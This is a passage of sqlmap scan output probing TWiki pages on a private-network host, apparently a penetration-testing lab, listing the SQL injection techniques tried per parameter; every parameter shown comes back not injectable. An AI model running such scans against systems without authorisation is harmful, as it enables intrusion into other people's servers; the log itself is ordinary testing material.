[18:31:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:31:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:31:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:31:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:31:55] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:31:56] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:31:56] [INFO] testing 'MySQL inline queries' [18:31:56] [INFO] testing 'PostgreSQL inline queries' [18:31:56] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:31:56] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:31:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:31:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:31:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:32:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:32:00] [INFO] testing 'Oracle AND time-based blind' [18:32:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:32:01] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:32:09] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:32:16] [WARNING] GET parameter 'rev' is not injectable [18:32:16] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 29: GET http://192.168.1.113:80/twiki/bin/oops/Main/WebTopicList?template=oopsmore¶m1=1.2¶m2=1.2 do you want to test this URL? [Y/n/q] Y [18:32:16] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/Main/WebTopicList?template=oopsmore¶m1=1.2¶m2=1.2' [18:32:16] [INFO] testing connection to the target URL [18:32:16] [INFO] testing if the target URL is stable [18:32:17] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [18:32:17] [INFO] testing if GET parameter 'template' is dynamic [18:32:17] [INFO] confirming that GET parameter 'template' is dynamic [18:32:17] [INFO] GET parameter 'template' is dynamic [18:32:18] [INFO] heuristics detected web page charset 'ascii' [18:32:18] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [18:32:18] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [18:32:18] [INFO] testing for SQL injection on GET parameter 'template' [18:32:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:32:18] [WARNING] reflective value(s) found and filtering out [18:32:19] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:32:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:32:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:32:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:32:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:32:21] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:32:21] [INFO] testing 'MySQL inline queries' [18:32:21] [INFO] testing 'PostgreSQL inline queries' [18:32:21] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:32:21] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:32:22] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:32:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:32:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:32:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:32:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:32:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:32:24] [INFO] testing 'Oracle AND time-based blind' [18:32:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:32:25] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:32:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:32:36] [WARNING] GET parameter 'template' is not injectable [18:32:36] [INFO] testing if GET parameter 'param1' is dynamic [18:32:36] [WARNING] GET parameter 'param1' does not appear dynamic [18:32:36] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [18:32:37] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [18:32:37] [INFO] testing for SQL injection on GET parameter 'param1' [18:32:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:32:38] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:32:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:32:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:32:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:32:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:32:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:32:41] [INFO] testing 'MySQL inline queries' [18:32:41] [INFO] testing 'PostgreSQL inline queries' [18:32:41] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:32:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:32:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:32:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:32:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:32:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:32:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:32:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:32:45] [INFO] testing 'Oracle AND time-based blind' [18:32:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:32:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:33:01] [WARNING] GET parameter 'param1' is not injectable [18:33:01] [INFO] testing if GET parameter 'param2' is dynamic [18:33:01] [WARNING] GET parameter 'param2' does not appear dynamic [18:33:01] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [18:33:02] [INFO] testing for SQL injection on GET parameter 'param2' [18:33:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:33:03] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:33:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:33:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:33:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:33:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:33:06] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:33:06] [INFO] testing 'MySQL inline queries' [18:33:06] [INFO] testing 'PostgreSQL inline queries' [18:33:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:33:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:33:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:33:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:33:08] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:33:08] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:33:09] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:33:10] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:33:10] [INFO] testing 'Oracle AND time-based blind' [18:33:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:33:19] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:33:26] [WARNING] GET parameter 'param2' is not injectable [18:33:26] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 30: GET http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=.* do you want to test this URL? [Y/n/q] Y [18:33:26] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=.' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:33:26] [INFO] testing connection to the target URL [18:33:28] [INFO] testing if the target URL is stable [18:33:29] [INFO] target URL is stable [18:33:29] [INFO] testing if URI parameter '#1*' is dynamic [18:33:29] [INFO] confirming that URI parameter '#1*' is dynamic [18:33:29] [WARNING] URI parameter '#1*' does not appear dynamic [18:33:29] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:33:29] [INFO] testing for SQL injection on URI parameter '#1*' [18:33:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:33:29] [WARNING] reflective value(s) found and filtering out [18:33:31] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:33:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:33:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:33:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:33:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:33:34] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:33:34] [INFO] testing 'MySQL inline queries' [18:33:34] [INFO] testing 'PostgreSQL inline queries' [18:33:35] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:33:35] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:33:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:33:36] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:33:36] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:33:37] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:33:37] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:33:38] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:33:39] [INFO] testing 'Oracle AND time-based blind' [18:33:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:33:39] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:33:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:33:56] [WARNING] URI parameter '#1*' is not injectable [18:33:56] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 31: GET http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^a do you want to test this URL? [Y/n/q] Y [18:33:56] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^a' [18:33:56] [INFO] testing connection to the target URL [18:33:56] [INFO] testing if the target URL is stable [18:33:57] [INFO] target URL is stable [18:33:57] [INFO] testing if GET parameter 'scope' is dynamic [18:33:57] [INFO] confirming that GET parameter 'scope' is dynamic [18:33:57] [INFO] GET parameter 'scope' is dynamic [18:33:58] [WARNING] heuristic (basic) test shows that GET parameter 'scope' might not be injectable [18:33:58] [INFO] testing for SQL injection on GET parameter 'scope' [18:33:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:34:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:34:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:34:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:34:06] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:34:08] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:34:09] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:34:10] [INFO] testing 'MySQL inline queries' [18:34:10] [INFO] testing 'PostgreSQL inline queries' [18:34:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:34:11] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:34:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:34:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:34:15] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:34:17] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:34:18] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:34:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:34:22] [INFO] testing 'Oracle AND time-based blind' [18:34:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:34:24] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:34:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:35:08] [WARNING] GET parameter 'scope' is not injectable [18:35:08] [INFO] testing if GET parameter 'regex' is dynamic [18:35:08] [WARNING] GET parameter 'regex' does not appear dynamic [18:35:08] [WARNING] heuristic (basic) test shows that GET parameter 'regex' might not be injectable [18:35:08] [INFO] testing for SQL injection on GET parameter 'regex' [18:35:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:35:10] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:35:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:35:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:35:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:35:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:35:13] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:35:14] [INFO] testing 'MySQL inline queries' [18:35:14] [INFO] testing 'PostgreSQL inline queries' [18:35:14] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:35:14] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:35:15] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:35:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:35:16] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:35:17] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:35:17] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:35:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:35:19] [INFO] testing 'Oracle AND time-based blind' [18:35:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:35:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:35:38] [WARNING] GET parameter 'regex' is not injectable [18:35:38] [INFO] testing if GET parameter 'search' is dynamic [18:35:38] [INFO] confirming that GET parameter 'search' is dynamic [18:35:38] [WARNING] GET parameter 'search' does not appear dynamic [18:35:38] [WARNING] heuristic (basic) test shows that GET parameter 'search' might not be injectable [18:35:38] [INFO] testing for SQL injection on GET parameter 'search' [18:35:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:35:38] [WARNING] reflective value(s) found and filtering out [18:35:40] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:35:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:35:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:35:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:35:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:35:42] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:35:42] [INFO] testing 'MySQL inline queries' [18:35:42] [INFO] testing 'PostgreSQL inline queries' [18:35:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:35:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:35:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:35:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:35:45] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:35:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:35:46] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:35:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:35:47] [INFO] testing 'Oracle AND time-based blind' [18:35:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:35:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:35:59] [WARNING] GET parameter 'search' is not injectable [18:35:59] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^b' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^c' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^d' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^e' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^f' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^g' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^h' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^i' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^j' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^k' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^l' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^m' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^n' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^o' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^p' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^q' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^r' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^s' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^t' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^u' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^v' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^w' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^x' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^y' [18:35:59] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&search=^z' URL 32: GET http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&bookview=on&search=.* do you want to test this URL? [Y/n/q] Y [18:35:59] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/?scope=topic®ex=on&bookview=on&search=.' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:35:59] [INFO] testing connection to the target URL [18:36:13] [INFO] testing if the target URL is stable [18:36:19] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [18:36:20] [INFO] testing if URI parameter '#1*' is dynamic [18:36:21] [INFO] confirming that URI parameter '#1*' is dynamic [18:36:21] [WARNING] URI parameter '#1*' does not appear dynamic [18:36:21] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:36:21] [INFO] testing for SQL injection on URI parameter '#1*' [18:36:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:36:21] [WARNING] reflective value(s) found and filtering out [18:36:26] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:36:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:36:27] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:36:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:36:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:36:29] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:36:29] [INFO] testing 'MySQL inline queries' [18:36:29] [INFO] testing 'PostgreSQL inline queries' [18:36:35] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:36:35] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:36:36] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more) [18:36:36] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:36:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:36:37] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:36:38] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:36:38] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:36:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:36:39] [INFO] testing 'Oracle AND time-based blind' [18:36:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:36:40] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:37:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:37:27] [WARNING] URI parameter '#1*' is not injectable [18:37:28] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 33: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/WebSearch?t=1441456678 do you want to test this URL? [Y/n/q] Y [18:37:28] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WebSearch?t=1441456678' [18:37:28] [INFO] testing connection to the target URL [18:37:28] [INFO] testing if the target URL is stable [18:37:29] [INFO] target URL is stable [18:37:29] [INFO] testing if GET parameter 't' is dynamic [18:37:29] [WARNING] GET parameter 't' does not appear dynamic [18:37:29] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [18:37:29] [INFO] testing for SQL injection on GET parameter 't' [18:37:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:37:30] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:37:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:37:31] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:37:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:37:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:37:33] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:37:33] [INFO] testing 'MySQL inline queries' [18:37:33] [INFO] testing 'PostgreSQL inline queries' [18:37:33] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:37:33] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:37:34] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:37:34] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:37:35] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:37:35] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:37:36] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:37:36] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:37:37] [INFO] testing 'Oracle AND time-based blind' [18:37:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:37:37] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:37:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:37:51] [WARNING] GET parameter 't' is not injectable [18:37:51] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 34: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Web Search[^A-Za-z] do you want to test this URL? [Y/n/q] Y [18:37:51] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Web Search[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:37:51] [INFO] testing connection to the target URL [18:37:51] [INFO] testing if the target URL is stable [18:37:52] [INFO] target URL is stable [18:37:52] [INFO] testing if URI parameter '#1' is dynamic [18:37:52] [INFO] confirming that URI parameter '#1*' is dynamic [18:37:52] [INFO] URI parameter '#1*' is dynamic [18:37:52] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:37:52] [INFO] testing for SQL injection on URI parameter '#1*' [18:37:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:37:52] [WARNING] reflective value(s) found and filtering out [18:37:54] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:37:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:37:55] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:37:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:37:56] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:37:56] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:37:56] [INFO] testing 'MySQL inline queries' [18:37:56] [INFO] testing 'PostgreSQL inline queries' [18:37:57] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:37:57] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:37:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:37:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:37:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:37:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:37:59] [INFO] testing 